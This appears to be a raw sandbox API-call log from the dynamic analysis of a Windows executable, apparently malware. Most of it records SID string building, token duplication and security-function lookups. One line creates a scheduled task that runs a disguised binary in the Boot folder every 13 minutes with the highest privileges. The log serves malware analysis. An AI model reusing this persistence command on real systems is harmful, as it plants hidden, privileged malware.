[0136.224] free (_Block=0x2af000) [0136.224] free (_Block=0x2aefa0) [0136.224] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0136.224] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0136.224] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0136.224] malloc (_Size=0x18) returned 0x2aefa0 [0136.224] malloc (_Size=0x18) returned 0x2af000 [0136.224] SysStringLen (param_1="S-1-5") returned 0x5 [0136.225] SysStringLen (param_1="-") returned 0x1 [0136.225] memcpy (in: _Dst=0x139628, _Src=0x1398f8, _Size=0xc | out: _Dst=0x139628) returned 0x139628 [0136.225] memcpy (in: _Dst=0x139632, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x139632) returned 0x139632 [0136.225] free (_Block=0x2af0c0) [0136.225] free (_Block=0x2aefa0) [0136.225] malloc (_Size=0x18) returned 0x2aefa0 [0136.225] malloc (_Size=0x18) returned 0x2af0c0 [0136.225] SysStringLen (param_1="S-1-5-") returned 0x6 [0136.225] SysStringLen (param_1="21") returned 0x2 [0136.225] memcpy (in: _Dst=0x1397d8, _Src=0x139628, _Size=0xe | out: _Dst=0x1397d8) returned 0x1397d8 [0136.225] memcpy (in: _Dst=0x1397e4, _Src=0x1398f8, _Size=0x6 | out: _Dst=0x1397e4) returned 0x1397e4 [0136.225] free (_Block=0x2af000) [0136.225] free (_Block=0x2aefa0) [0136.225] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0136.225] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0136.225] malloc (_Size=0x18) returned 0x2aefa0 [0136.225] malloc (_Size=0x18) returned 0x2af000 [0136.225] SysStringLen (param_1="S-1-5-21") returned 0x8 [0136.225] SysStringLen (param_1="-") returned 0x1 [0136.225] memcpy (in: _Dst=0x1398f8, _Src=0x1397d8, _Size=0x12 | out: _Dst=0x1398f8) returned 0x1398f8 [0136.225] memcpy (in: _Dst=0x139908, _Src=0x139628, _Size=0x4 | out: _Dst=0x139908) returned 0x139908 [0136.226] free (_Block=0x2af0c0) [0136.226] free (_Block=0x2aefa0) [0136.226] malloc (_Size=0x18) returned 0x2aefa0 [0136.226] malloc (_Size=0x18) returned 0x2af0c0 [0136.226] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0136.226] SysStringLen (param_1="4219442223") returned 0xa [0136.226] memcpy (in: _Dst=0x118268, _Src=0x1398f8, _Size=0x14 | out: _Dst=0x118268) returned 0x118268 [0136.226] memcpy (in: _Dst=0x11827a, _Src=0x1397d8, _Size=0x16 | out: _Dst=0x11827a) returned 0x11827a [0136.226] free (_Block=0x2af000) [0136.226] free (_Block=0x2aefa0) [0136.226] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0136.226] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0136.226] malloc (_Size=0x18) returned 0x2aefa0 [0136.226] malloc (_Size=0x18) returned 0x2af000 [0136.226] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0136.226] SysStringLen (param_1="-") returned 0x1 [0136.226] memcpy (in: _Dst=0x1176d8, _Src=0x118268, _Size=0x28 | out: _Dst=0x1176d8) returned 0x1176d8 [0136.226] memcpy (in: _Dst=0x1176fe, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1176fe) returned 0x1176fe [0136.226] free (_Block=0x2af0c0) [0136.226] free (_Block=0x2aefa0) [0136.227] malloc (_Size=0x18) returned 0x2aefa0 [0136.227] malloc (_Size=0x18) returned 0x2af0c0 [0136.227] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0136.227] SysStringLen (param_1="4223814209") returned 0xa [0136.227] memcpy (in: _Dst=0x12db38, _Src=0x1176d8, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0136.227] memcpy (in: _Dst=0x12db60, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0136.227] free (_Block=0x2af000) [0136.227] free (_Block=0x2aefa0) [0136.227] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0136.227] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0136.227] malloc (_Size=0x18) returned 0x2aefa0 [0136.227] malloc (_Size=0x18) returned 0x2af000 [0136.227] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0136.227] SysStringLen (param_1="-") returned 0x1 [0136.227] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0136.227] memcpy (in: _Dst=0x12d844, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0136.227] free (_Block=0x2af0c0) [0136.227] free (_Block=0x2aefa0) [0136.227] malloc (_Size=0x18) returned 0x2aefa0 [0136.228] malloc (_Size=0x18) returned 0x2af0c0 [0136.228] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0136.228] SysStringLen (param_1="3835049652") returned 0xa [0136.228] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0136.228] memcpy (in: _Dst=0x12db76, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0136.228] free (_Block=0x2af000) [0136.228] free (_Block=0x2aefa0) [0136.228] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0136.228] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0136.228] malloc (_Size=0x18) returned 0x2aefa0 [0136.228] malloc (_Size=0x18) returned 0x2af000 [0136.228] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0136.228] SysStringLen (param_1="-") returned 0x1 [0136.228] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0136.228] memcpy (in: _Dst=0x12d85a, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0136.228] free (_Block=0x2af0c0) [0136.228] free (_Block=0x2aefa0) [0136.228] malloc (_Size=0x18) returned 0x2aefa0 [0136.228] malloc (_Size=0x18) returned 0x2af0c0 [0136.228] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0136.229] SysStringLen (param_1="1000") returned 0x4 [0136.229] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0136.229] memcpy (in: _Dst=0x12db8c, _Src=0x1398f8, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0136.229] free (_Block=0x2af000) [0136.229] free (_Block=0x2aefa0) [0136.229] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0136.229] malloc (_Size=0x5e) returned 0x2b08a0 [0136.229] free (_Block=0x2af0c0) [0136.229] malloc (_Size=0x18) returned 0x2af0c0 [0136.229] free (_Block=0x2b08a0) [0136.229] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0136.257] GetLastError () returned 0x7a [0136.257] malloc (_Size=0x14) returned 0x2aefa0 [0136.257] malloc (_Size=0x16) returned 0x2af000 [0136.257] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca94, ReferencedDomainName=0x2af000, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0136.258] malloc (_Size=0x18) returned 0x2aef80 [0136.258] malloc (_Size=0x18) returned 0x2aefc0 [0136.258] free (_Block=0x2aefa0) [0136.258] free (_Block=0x2af000) [0136.258] free (_Block=0x2affa0) [0136.258] free (_Block=0x2aefc0) [0136.258] free (_Block=0x2aef80) [0136.259] free (_Block=0x2af0c0) [0136.259] free (_Block=0x2ae2e0) [0136.260] malloc (_Size=0x48) returned 0x2ad220 [0136.260] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0136.264] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0136.265] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0136.265] malloc (_Size=0x18) returned 0x2af0c0 [0136.265] CreateEnvironmentBlock () returned 0x1 [0136.270] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0136.270] malloc (_Size=0x18) returned 0x2aef80 [0136.270] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec20, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf50, dwThreadId=0xf54)) returned 1 [0136.275] CloseHandle (hObject=0x2f8) returned 1 [0136.275] CloseHandle (hObject=0x248) returned 1 [0136.275] free (_Block=0x2aef80) [0136.275] DestroyEnvironmentBlock () returned 0x1 [0136.275] malloc (_Size=0x48) returned 0x2ad270 [0136.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x203a8400, dwHighDateTime=0x1d8a92a)) [0136.275] SetEvent (hEvent=0x1f0) returned 1 [0136.275] CloseHandle (hObject=0x2d0) returned 1 [0136.276] CloseHandle (hObject=0x2dc) returned 1 [0136.494] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0136.494] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0136.494] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0137.018] SetLastError (dwErrCode=0x0) [0137.018] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0137.018] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0137.018] SetLastError (dwErrCode=0x0) [0137.018] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0137.018] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0137.018] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0137.018] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0137.018] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0137.018] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0137.020] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0137.021] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.021] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.021] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0137.021] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.021] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.021] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0137.023] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0137.023] GetCurrentThread () returned 0xfffffffffffffffe [0137.023] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0137.023] malloc (_Size=0xd8) returned 0x2b35c0 [0137.023] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0137.023] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0137.023] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0137.024] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0137.025] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0137.026] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0137.026] malloc (_Size=0x18) returned 0x2aef80 [0137.026] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0137.026] malloc (_Size=0x48) returned 0x2ad3b0 [0137.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x209759a0, dwHighDateTime=0x1d8a92a)) [0137.026] SetEvent (hEvent=0x1f0) returned 1 [0137.028] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0137.028] GetLastError () returned 0x7a [0137.028] malloc (_Size=0x2c) returned 0x2ae2a0 [0137.028] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0137.028] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.028] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0137.028] malloc (_Size=0x1c) returned 0x2b0000 [0137.028] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.028] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0137.028] malloc (_Size=0x18) returned 0x2af0c0 [0137.028] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0137.028] malloc (_Size=0x18) returned 0x2aefc0 [0137.029] malloc (_Size=0x18) returned 0x2af000 [0137.029] SysStringLen (param_1="S-1-") returned 0x4 [0137.029] SysStringLen (param_1="5") returned 0x1 [0137.029] memcpy (in: _Dst=0x1395c8, _Src=0x1397a8, _Size=0xa | out: _Dst=0x1395c8) returned 0x1395c8 [0137.029] memcpy (in: _Dst=0x1395d0, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d0) returned 0x1395d0 [0137.029] free (_Block=0x2af0c0) [0137.029] free (_Block=0x2aefc0) [0137.029] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0137.029] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0137.029] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0137.029] malloc (_Size=0x18) returned 0x2aefc0 [0137.029] malloc (_Size=0x18) returned 0x2af0c0 [0137.029] SysStringLen (param_1="S-1-5") returned 0x5 [0137.029] SysStringLen (param_1="-") returned 0x1 [0137.029] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xc | out: _Dst=0x139898) returned 0x139898 [0137.029] memcpy (in: _Dst=0x1398a2, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x1398a2) returned 0x1398a2 [0137.029] free (_Block=0x2af000) [0137.029] free (_Block=0x2aefc0) [0137.029] malloc (_Size=0x18) returned 0x2aefc0 [0137.029] malloc (_Size=0x18) returned 0x2af000 [0137.029] SysStringLen (param_1="S-1-5-") returned 0x6 [0137.029] SysStringLen (param_1="21") returned 0x2 [0137.029] memcpy (in: _Dst=0x1397a8, _Src=0x139898, _Size=0xe | out: _Dst=0x1397a8) returned 0x1397a8 [0137.029] memcpy (in: _Dst=0x1397b4, _Src=0x1395c8, _Size=0x6 | out: _Dst=0x1397b4) returned 0x1397b4 [0137.029] free (_Block=0x2af0c0) [0137.029] free (_Block=0x2aefc0) [0137.029] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0137.030] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0137.030] malloc (_Size=0x18) returned 0x2aefc0 [0137.030] malloc (_Size=0x18) returned 0x2af0c0 [0137.030] SysStringLen (param_1="S-1-5-21") returned 0x8 [0137.030] SysStringLen (param_1="-") returned 0x1 [0137.030] memcpy (in: _Dst=0x1395c8, _Src=0x1397a8, _Size=0x12 | out: _Dst=0x1395c8) returned 0x1395c8 [0137.030] memcpy (in: _Dst=0x1395d8, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d8) returned 0x1395d8 [0137.030] free (_Block=0x2af000) [0137.030] free (_Block=0x2aefc0) [0137.030] malloc (_Size=0x18) returned 0x2aefc0 [0137.030] malloc (_Size=0x18) returned 0x2af000 [0137.030] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0137.030] SysStringLen (param_1="4219442223") returned 0xa [0137.030] memcpy (in: _Dst=0x1182b8, _Src=0x1395c8, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0137.030] memcpy (in: _Dst=0x1182ca, _Src=0x1397a8, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0137.030] free (_Block=0x2af0c0) [0137.030] free (_Block=0x2aefc0) [0137.030] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0137.030] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0137.030] malloc (_Size=0x18) returned 0x2aefc0 [0137.030] malloc (_Size=0x18) returned 0x2af0c0 [0137.030] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0137.030] SysStringLen (param_1="-") returned 0x1 [0137.030] memcpy (in: _Dst=0x118218, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x118218) returned 0x118218 [0137.030] memcpy (in: _Dst=0x11823e, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x11823e) returned 0x11823e [0137.030] free (_Block=0x2af000) [0137.031] free (_Block=0x2aefc0) [0137.031] malloc (_Size=0x18) returned 0x2aefc0 [0137.031] malloc (_Size=0x18) returned 0x2af000 [0137.031] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0137.031] SysStringLen (param_1="4223814209") returned 0xa [0137.031] memcpy (in: _Dst=0x107588, _Src=0x118218, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0137.031] memcpy (in: _Dst=0x1075b0, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0137.031] free (_Block=0x2af0c0) [0137.031] free (_Block=0x2aefc0) [0137.031] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0137.031] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0137.031] malloc (_Size=0x18) returned 0x2aefc0 [0137.031] malloc (_Size=0x18) returned 0x2af0c0 [0137.031] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0137.031] SysStringLen (param_1="-") returned 0x1 [0137.031] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0137.031] memcpy (in: _Dst=0x12d954, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0137.031] free (_Block=0x2af000) [0137.031] free (_Block=0x2aefc0) [0137.031] malloc (_Size=0x18) returned 0x2aefc0 [0137.031] malloc (_Size=0x18) returned 0x2af000 [0137.031] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0137.031] SysStringLen (param_1="3835049652") returned 0xa [0137.031] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0137.031] memcpy (in: _Dst=0x1075c6, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0137.031] free (_Block=0x2af0c0) [0137.031] free (_Block=0x2aefc0) [0137.031] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0137.032] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) 